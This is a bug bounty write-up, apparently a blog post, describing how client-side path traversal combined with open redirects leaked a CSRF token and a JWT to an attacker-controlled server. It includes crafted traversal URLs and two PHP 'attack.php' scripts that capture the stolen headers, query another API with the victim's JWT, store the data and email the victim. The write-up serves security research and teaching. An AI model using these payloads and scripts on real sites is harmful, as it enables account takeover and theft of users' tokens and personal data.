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You do not need to run 80 reconnaissance tools to get access to user accounts

An open redirect was almost everything I needed in two different bug bounty programs to get access to user accounts. In one of the cases a JWT was leaked, and in the other the CSRF token was leaked. The issue was mostly the same in both cases: not validating, or URI encoding, user input in the client-side, and sending sensitive information to my server using an open redirect.

CSRF token bug

  1. There is an open redirect on https://example.com/redirect?url=https://myserver.com/attack.php
  2. User loads https://example.com/?code=VALUE
  3. Javascript code in https://example.com/ makes a GET request to https://example.com/verify/VALUE with a header x-csrf-token set to the CSRF token for the session of the user
    GET /verify/VALUE HTTP/1.1
    Host: example.com
    x-csrf-token: the-csrf-token-of-the-user
    ...
    
    
  4. The issue is that if the user loads https://example.com/?code=../redirect%3furl%3dhttps://myserver.com/attack.php, the application makes the GET request of step 3 to https://example.com/redirect?url=https://myserver.com/attack.php, follows the redirection, and the x-csrf-token ends up being sent in a GET request to https://myserver.com/attack.php
  5. attack.php stores the value of x-csrf-token or does anything that is necessary for the attack
    <?php
      // These headers are specific to this request.
      // Open your web browser Console whenever you are testing a similar issue
      // to check if there is any CORS issues that you have to fix in your response.
      header('Access-Control-Allow-Origin: *');
      header('Access-Control-Allow-Headers: x-requested-with,x-csrf-token');
      
      foreach (getallheaders() as $key => $value) {
        if ($key == 'x-csrf-token') {
          $token_file = fopen('csrf_token.txt', 'w');
          fwrite($token_file, $value);
          fclose($token_file);
        }
      }
    ?>
    For my proof of concept, I took the value of x-csrf-token and made changes to the profile of the user/victim on https://example.com.

JWT bug

  1. There is an open redirect on https://api.example.com/redirect?reference=xxxx-xxxx-xxxx-xxxx. This open redirect was different because first I had to make a request to another endpoint with the URL to which I wanted to redirect, and the "reference" value was returned in the response. Once I had that reference value, any request to https://api.example.com/redirect?reference=reference-value by any user, redirected to the URL I had sent in the first request.
  2. User loads https://example.com/app/VALUE
  3. Javascript code makes a GET request to https://api.example.com/check/VALUE/please with the header Authorization set to Bearer JWT-of-the-authenticated-user
    GET /check/VALUE/please HTTP/1.1
    Host: api.example.com
    Authorization: Bearer JWT-of-the-authenticated-user
    ...
    
    
  4. The issue is that the attacker can create a redirect to https://myserver.com/attack.php, and when the user loads https://example.com/app/..%2fredirect%3freference%3dx-x-x-x%26 (%26 is equal to & once decoded, which was necessary to remove "/please" from the value of "reference"), the application makes a GET request to https://api.example.com/redirect?reference=x-x-x-x which redirects to https://myserver.com/attack.php with the JWT in the Authorization header
  5. attack.php stores the JWT or does anything that is possible with it
    <?php
      header('Access-Control-Allow-Origin: *');
      header('Access-Control-Allow-Headers: authorization');
      
      foreach (getallheaders() as $key => $value) {
        if ($key == 'Authorization') {
          $opts = array(
            'http'=>array(
               'method'=>'GET',
               'header'=>'Authorization: '.$value
            )
         );
         $context = stream_context_create($opts);
         $file = file_get_contents('https://other-api.example.com/info', false, $context);
         $fh = fopen('out.txt', 'w');
         fwrite($fh, $file);
         fclose($fh);
         $json = json_decode($file, true);
         $sent = mail($json['email'], 'Hi '.$json['name'], 'Your user id is '.$json['id'], 'From: attacker@myserver.com');
         if ($sent) {
            echo 'Email sent';
         } else {
            echo 'Couldn\'t send email';
         }
       }
      }
    ?>
    For my proof of concept, I took the JWT, got information about the user/victim from other API which accepted the same JWT in the Authorization header, and sent an email to the user/victim. The previous code is exactly what I used as proof of concept.

End

It is been a long time since I shared something that could be useful for new bug bounty hunters, I hope it is useful.

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